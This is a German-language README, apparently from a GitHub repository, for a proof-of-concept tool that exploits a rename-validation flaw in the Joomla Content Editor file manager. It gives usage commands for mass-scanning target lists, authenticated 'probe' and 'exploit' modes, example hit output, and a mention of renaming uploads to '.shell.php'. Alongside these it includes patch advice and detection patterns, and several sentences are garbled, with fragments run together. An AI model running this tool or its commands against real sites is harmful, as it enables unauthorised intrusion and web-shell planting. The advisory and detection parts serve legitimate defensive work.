
CVE-2026-65891 PoC — Joomla Content Editor file rename vulnerability (auth required, fixed in JCE 2.20.2)
Proof-of-Concept-Scanner für CVE-2026-65891 in der Erweiterung Joomla Content Editor (JCE).
Eine unsachgemäße Eingabevalidierung in der rename-Funktion des JCE-Dateimanagers erlaubt einem authentifizierten Benutzer mit Dateiverwaltungsrechten Folgendes:
.shell.php)Nur für autorisierte Tests. Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören, oder für die Sie ausdrückliche Testberechtigung haben.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-65891 |
| Produkt | JCE (com_jce) — Widget Factory Limited |
| Betroffen | JCE < 2.20.2 (bis einschließlich 2.20.1 / 2.9.99.9) |
| Behoben | JCE 2.20.2+ (29.07.2026) |
| CVSS 3.1 | 6.5 Mittel |
| CWE | CWE-20 — Unsachgemäße Eingabevalidierung |
| Auth | Erforderlich — JCE-Upload- und Umbenennungsrechte |
| KEV | Nein |
Dies ist kein nicht authentifiziertes RCE. Nicht mit CVE-2026-48907 verwechseln (JCE-Profilimport, ohne Authentifizierung).
Die JCE-browser-/imgmanager-Umbenennungs-Handler akzeptierten Zieldateinamen, die zurückgewiesen werden sollten:
. beginnen (unter POSIX versteckt)Behoben in 2.20.2: Erweiterungsvalidierung bei Umbenennen/Kopieren/Verschieben und keine stillschweigende Überschreibung.
check (ohne Anmeldedaten)jce.xml / Assets auslesenprobe / exploit (Anmeldedaten erforderlich)/administrator/ (oder --frontend-login).txt über plugin.rpc (browser-Plugin) hochladen.cve65891_<zufällig>.txt umbenennen (versteckt)GET /images/.cve65891_*.txt — wenn der Marker lesbar ist → EXPLOITEDgit clone https://github.com/YOUR_USER/CVE-2026-65891.git
cd CVE-2026-65891
pip install -r requirements.txt
Anforderungen: Python 3.10+
# Versions-/Fingerprint-Scan (Massenbetrieb, ohne Auth)
python poc_cve_2026_65891.py -f targets.txt -m check -j 30 -o version_hits.txt
# Einzelnes Ziel — vollständiger Check
python poc_cve_2026_65891.py -u https://joomla.example -m check -v
# Authentifizierter Umbenennungstest
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--user editor --pass 'YourPassword' -v
# Session-Cookie statt Passwort
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--cookie-file cookie.txt -v
EXPLOITED https://joomla.example joomla=True jce=True ver=2.20.1 auth=YES upload=YES rename=YES hidden=YES url=https://joomla.example/images/.cve65891_a1b2c3d4.txt
VULNERABLE https://site.example joomla=True jce=True ver=2.9.99.9 rename=YES err=rename_ok_but_hidden_not_readable
SUSPECT https://old.example joomla=True jce=True ver=2.20.1 err=need_auth_--user_--pass_or_--cookie-file
Nur VULNERABLE- und EXPLOITED-Zeilen werden in -o geschrieben.
Das Testkonto muss ein JCE-Editorprofil mit Folgendem haben:
In der Regel: Editor, Manager oder Administrator — nicht ein normaler registrierter Benutzer.
JCE auf 2.20.2 oder neuer aktualisieren
Erweiterungen → Verwalten → Aktualisieren oder Download von joomlacontenteditor.net
Bis zum Patch: Rename in den JCE-Profileinstellungen für nicht vertrauenswürdige Benutzergruppen deaktivieren (Bildmanager, Dateibrowser).
Achten Sie auf authentifizierte Anfragen an:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser
Mit method=rename / renameItem und Zielnamen, die mit . beginnen.
Unerwartete versteckte Dateien unter JCE-Upload-Pfaden (/images/, /media/).
Dieses Tool dient ausschließlich der Sicherheitsforschung, Bildung und autorisierten Penetrationstests. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
MIT — siehe LICENSE.
| Flag | Beschreibung |
|---|
-u, --url | Einzelne Joomla-Basis-URL |
-f, --file | Zielliste (eine URL pro Zeile) |
-m, --mode | check · probe · exploit · full (Standard: full) |
-j, --threads | Parallele Worker (Standard: 15) |
-t, --timeout | HTTP-Timeout in Sekunden (Standard: 25) |
-o, --output | Nur VULNERABLE- / EXPLOITED-Treffer schreiben |
--user | Joomla-Benutzername |
--pass | Joomla-Passwort |
--cookie-file | Datei mit rohem Cookie:-Header (Login überspringen) |
--upload-dir | JCE-Upload-Verzeichnis (Standard: images) |
--frontend-login | Anmeldung über das Frontend statt über den Administrator |
-v, --verbose | Debug-Ausgabe |
| Modus | Auth | Beschreibung |
|---|
check | Nein | Joomla + JCE + Version |
probe | Ja | Upload + versteckte Umbenennung + Verifizierung |
exploit | Ja | Wie probe |
full | Ja* | check, dann probe (*probe benötigt Auth) |